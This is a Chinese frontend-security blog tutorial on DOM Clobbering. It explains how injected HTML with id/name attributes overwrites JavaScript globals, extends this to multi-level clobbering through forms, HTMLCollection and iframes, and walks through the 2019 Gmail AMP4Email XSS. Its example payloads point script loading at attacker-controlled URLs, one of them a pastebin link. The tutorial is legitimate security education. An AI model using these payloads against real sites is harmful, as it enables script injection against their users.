DOM Clobbering 的原理及应用

疯狂的技术宅
English

前言

做为一个前端程序猿,肯定应该知道很多与前端相关的知识,像是 HTML 或是 JS 相关的东西,但这些通常都与“使用”有关。例如说我知道写 HTML 的时候要语义化,要使用正确的标签;我知道 JS 应该要怎么用。可是有些知识虽然也跟网页有关,却不是前端程序员经常接触的。

所谓的“有些知识”指的其实是信息安全相关的知识。有些在信息安全里常见的观念,虽然跟网页有关,对我们来说却不太熟悉,而我认为理解这些其实是很重要的。因为你必须懂得怎么攻击才能防御,要先知道攻击手法跟原理,才知道该怎么防范。

在正式开始之前,先给大家一个小题目练练手。

假设有一段代码,有一个按钮以及一段 js 脚本,如下所示:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="btn">click me</button>
  <script>
    // TODO: add click event listener to button
  </script>
</body>
</html>

现在请你用最短的代码,实现出点击按钮时会跳出 alert(1)这个功能。

这样写:

document.getElementById('btn')
  .addEventListener('click', () => {
    alert(1)
  })

那如果要让代码最短,你的答案会是什么?

在继续之前先想一下,想好之后再往下看。

.
.
.
.
.
.
.
.
.

DOM 与 window 的量子纠缠

你知道 DOM 里面的东西,有可能影响到 window 吗?

就是你在 HTML 里面设定一个有 id 的元素之后,在 JS 中就可以直接操作:

<button id="btn">click me</button>
<script>
  console.log(window.btn) // <button id="btn">click me</button>
</script>

由于 JS 的作用域规则,你就算直接用 btn 也可以,因为在当前的作用域找不到时就会往上找,一路找到 window

所以前面那道题的答案是:

btn.onclick = () => alert(1)

不需要 getElementById,也不需要 querySelector,只要直接用与 id 同名的变量去拿,就能得到。应该不会有比这个更短的代码了(有的话欢迎留言打脸)

而这个行为在 HTML 的说明文档中是有明确定义的,在 7.3.3 Named access on the Window object

image.png

节选两个重点:

  1. the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute
  2. the value of the id content attribute for all HTML elements that have a non-empty id content attribute

也就是说除了 id 可以直接用 window 存取到以外,embed, form, imgobject 这四个标签用 name 也可以操作:

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

但是知道这个有什么用呢?有,理解这个规则之后,可以得出一个结论:

我们是有机会通过 HTML 元素来影响 JS 的!

而把这个手法用在攻击上,就是标题的 DOM Clobbering。以前是因为这个攻击手段才第一次知道 clobbering 这个单词的,查了一下发现在计算机专业领域中有覆盖的意思,就是通过 DOM 把一些东西覆盖掉来达到攻击的手段。

DOM Clobbering 入门

那在什么场景之下有机会用 DOM Clobbering 攻击呢?

首先必须有机会在页面上显示你自己的 HTML,否则就没有办法了。所以一个可以攻击的场景可能是这样:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:Hello World!
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

假设有一个留言板,你可以输入任意内容,但是你的输入在服务端会做一些处理(例如用DOMPurify 之类的库),把所有可以执行 JavaScript 的东西都过滤掉,所以 <script></script> 会被删掉,<img src=x onerror=alert(1)>onerror 会被去掉,还有许多 XSS payload 也都被干掉。

简而言之,你没办法执行 JavaScript 来进行 XSS 攻击,因为这些都被过滤掉了。

但是因为种种因素,并不会过滤掉 HTML 标签,所以你可以做的事情是显示自定义的 HTML。只要没有执行 JS,你想要插入什么 HTML 标签,设置什么属性都可以。

所以就可以这样做:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:<div id="TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

根据我们上面所学到到的知识,可以插入一个 idTEST_MODE 的标签 <div id="TEST_MODE"></div>,这样底下 JS 的 if (window.TEST_MODE) 就会过关,因为 window.TEST_MODE 是这个 div 元素。

还有我们可以用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>window.TEST_SCRIPT_SRC 转成字符串之后变成我们想要的内容。

在很多状况下,只是把一个变量覆盖成 HTML 元素是不够的,比如你把上面那段代码当中的 window.TEST_MODE 转成字符串打印出来:

// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')

结果会是:[object HTMLDivElement]

把一个 HTML 元素转成字符串就会变成这种形式,如果是这样的话那基本上没办法利用。但幸好在 HTML 里面有两个元素在 toString 时会做特殊处理:<base><a>

image.png

来源:4.6.3 API for a and area elements

这两个元素在 toString 的时候会返回 URL,而我们可以通过 href 属性来设置 URL,这样就可以做到让 toString 之后的内容可控。

所以综合以上手法,我们学废了:

  1. 用 HTML 搭配 id 属性影响 JS 变量
  2. a 搭配 href 以及 id 让元素 toString 之后变成我们想要的值

通过上面这两个手段再配合适当的场景,就有机会利用 DOM Clobbering 来进行攻击。

不过在这里要注意,如果你想攻击的变量已经存在的话,你用 DOM 是覆盖不掉的,例如:

<!DOCTYPE html>
<html>
<head>
  <script>
    TEST_MODE = 1
  </script>
</head>
<body>
  <div id="TEST_MODE"></div> 
  <script>
    console.log(window.TEST_MODE) // 1
  </script>
</body>
</html>

多层级的 DOM Clobbering

在前面的例子中,我们用 DOM 把 window.TEST_MODE 盖掉,制造出未预期的行为。如果要盖掉的对象是个对象那有机会吗?

例如 window.config.isTest 也可以用 DOM clobbering 盖掉吗?

有几种方法,第一种是利用 HTML 标签的层级关系,具有这样特性的是 form 表单:

在 HTML 的 说明 中有这样一段:
image.png

可以利用 form[name] 或是 form[id] 取它底下的元素,例如:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="isTest" />
    <button id="isProd"></button>
  </form>
  <script>
    console.log(config) // <form id="config">
    console.log(config.isTest) // <input name="isTest" />
    console.log(config.isProd) // <button id="isProd"></button>
  </script>
</body>
</html>

如此一来就可以构造出两层的 DOM clobbering。不过要注意,那就是这里没有 a 可用,所以 toString 之后都会没办法利用。

但是比较有可能利用的机会是,当你要覆盖的东西是用 value 存取的时候,例如:config.enviroment.value,就可以利用 inputvalue 属性做覆盖:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="enviroment" value="test" />
  </form>
  <script>
    console.log(config.enviroment.value) // test
  </script>
</body>
</html>

简单来说就是只有那些内置的属性可以覆盖,其他是没有办法的。

除了利用 HTML 本身的层级以外,还可以利用另外一个特性:HTMLCollection。

在我们前面看到的关于 Named access on the Window object 说明文档中,决定值是什么的段落是这样写的:
image.png

如果要返回的东西有多个,就返回 HTMLCollection。

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config"></a>
  <script>
    console.log(config) // HTMLCollection(2)
  </script>
</body>
</html>

那有了 HTMLCollection 之后可以做什么呢?在 4.2.10.2. Interface HTMLCollection 中提到,可以利用 name 或是 id 去拿 HTMLCollection 里面的元素。

image.png

像这样:

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config" name="apiUrl" href="https://huli.tw"></a>
  <script>
    console.log(config.apiUrl + '')
    // https://huli.tw
  </script>
</body>
</html>

就可以通过同名的 id 产生出 HTMLCollection,再用 name 来得到 HTMLCollection 的特定元素,一样可以达到两层的效果。

而如果把 form 跟 HTMLCollection 结合在一起,就能够做到三层:

<!DOCTYPE html>
<html>
<body>
  <form id="config"></form>
  <form id="config" name="prod">
    <input name="apiUrl" value="123" />
  </form>
  <script>
    console.log(config.prod.apiUrl.value) //123
  </script>
</body>
</html>

先利用同名的 id,让 config 可以拿到 HTMLCollection,再来用 config.prod 就可以拿到 HTMLCollection 中 nameprod 的元素,也就是那个 form,接著就是 form.apiUrl 拿到表单底下的 input,最后用 value 拿到里面的属性。

所以如果最后要拿的属性是 HTML 的属性,就可以四层,否则的话就只能三层。

再更多层级的 DOM Clobbering

前面提到三层或是有条件的四层已经是极限了,那么还有没有其他方法再突破限制呢?

根据 DOM Clobbering strikes back 里面给的做法,有,利用 iframe 就可以做到。

当你创建了一个iframe 并给它一个 name 时,用这个 name 就可以指到 iframe 里面的 window,所以可以这样:

<!DOCTYPE html>
<html>
<body>
  <iframe name="config" srcdoc='
    <a id="apiUrl"></a>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(config.apiUrl) // <a id="apiUrl"></a>
    }, 500)
  </script>
</body>
</html>

这里之所以会需要 setTimeout 是因为 iframe 并不是同步载入的,所以需要一些时间才能正确拿到 iframe 里的东西。

有了 iframe 的帮助之后,就可以创造出更多层级:

<!DOCTYPE html>
<html>
<body>
  <iframe name="moreLevel" srcdoc='
    <form id="config"></form>
    <form id="config" name="prod">
      <input name="apiUrl" value="123" />
    </form>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(moreLevel.config.prod.apiUrl.value) //123
    }, 500)
  </script>
</body>
</html>

理论上可以在 iframe 里再套一个 iframe,可以做到无限层级的 DOM clobbering,不过我尝试了一下发现可能有点编码上的问题,例如像这样:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc='
    <iframe name="level2" srcdoc="
      <iframe name="level3"></iframe>
    "></iframe>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3) // undefined
    }, 500)
  </script>
</body>
</html>

打印出来会是 undefined,但如果把 level3 的那对双引号拿掉,直接写成 name=level3 就可以成功打印出内容,我猜是因为单引号双引号的一些解析问题造成的,目前还没找到什么解决方法,只尝试了这样是可行的,但是再往下就出错了:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc="
    <iframe name=&quot;level2&quot; srcdoc=&quot;
      <iframe name='level3' srcdoc='
        <iframe name=level4></iframe>
      '></iframe>
    &quot;></iframe>
  "></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3.level4)
    }, 500)
  </script>
</body>
</html>

但实际上应该不会用到这么深的层级,所以四层最多五层就够用了。

实例研究:Gmail AMP4Email XSS

2019 年 Gmail 有一个漏洞就是通过 DOM clobbering 来攻击的,完整的分析在这里:XSS in GMail’s AMP4Email via DOM Clobbering,下面简单讲一下过程(部分内容取材自这篇文章)。

简单来说在 Gmail 里你可以使用部分 AMP 的功能,然后 Google 针对这个格式的验证很严谨,所以没有办法用一般的方法进行 XSS。

但是有人发现可以在 HTML 元素上面设置 id,又发现当他设置了一个 <a id="AMP_MODE"> 之后,控制台突然出现一个载入脚本的错误,而且网址中的其中一段是 undefined。仔细去研究代码之后,有一段代码大概是这样的:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation
} else {
    loc = window.location;
}

if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist"
} else {
    loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

如果能让 AMP_MODE.testAMP_MODE.localDev 都是真值的话,再配合设置 window.testLocation,就能载入任意的脚本。

所以攻击代码会类似这样:

// 让 AMP_MODE.test 和 AMP_MODE.localDev 有内容
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

// 设置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

最后就能成功载入任意脚本,进而进行 XSS!(不过当初作者只尝试到这一步就被 CSP 拦住了)。

这应该是 DOM Clobbering 最著名的案例之一了。

总结

虽然 DOM Clobbering 的使用场景有限,却是一个相当有趣的攻击手段!而且如果你不知道这个特性的话,可能完全没想过可以通过 HTML 来影响全局变量的内容。

如果对这个攻击手法有兴趣的,可以参考 PortSwigger 的文章,里面提供了两个实验让大家亲自尝试这个攻击手段,光看是没用的,要实际下去操作一下才能体会。

173382ede7319973.gif


本文首发微信公众号:前端先锋

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章

欢迎扫描二维码关注公众号,每天都给你推送新鲜的前端技术文章


欢迎继续阅读本专栏其它高赞文章:


阅读 2.5k

疯狂的技术宅
本专栏文章首发于公众号:前端先锋 。
44.1k 声望
39.1k 粉丝
0 条评论
44.1k 声望
39.1k 粉丝
文章目录
宣传栏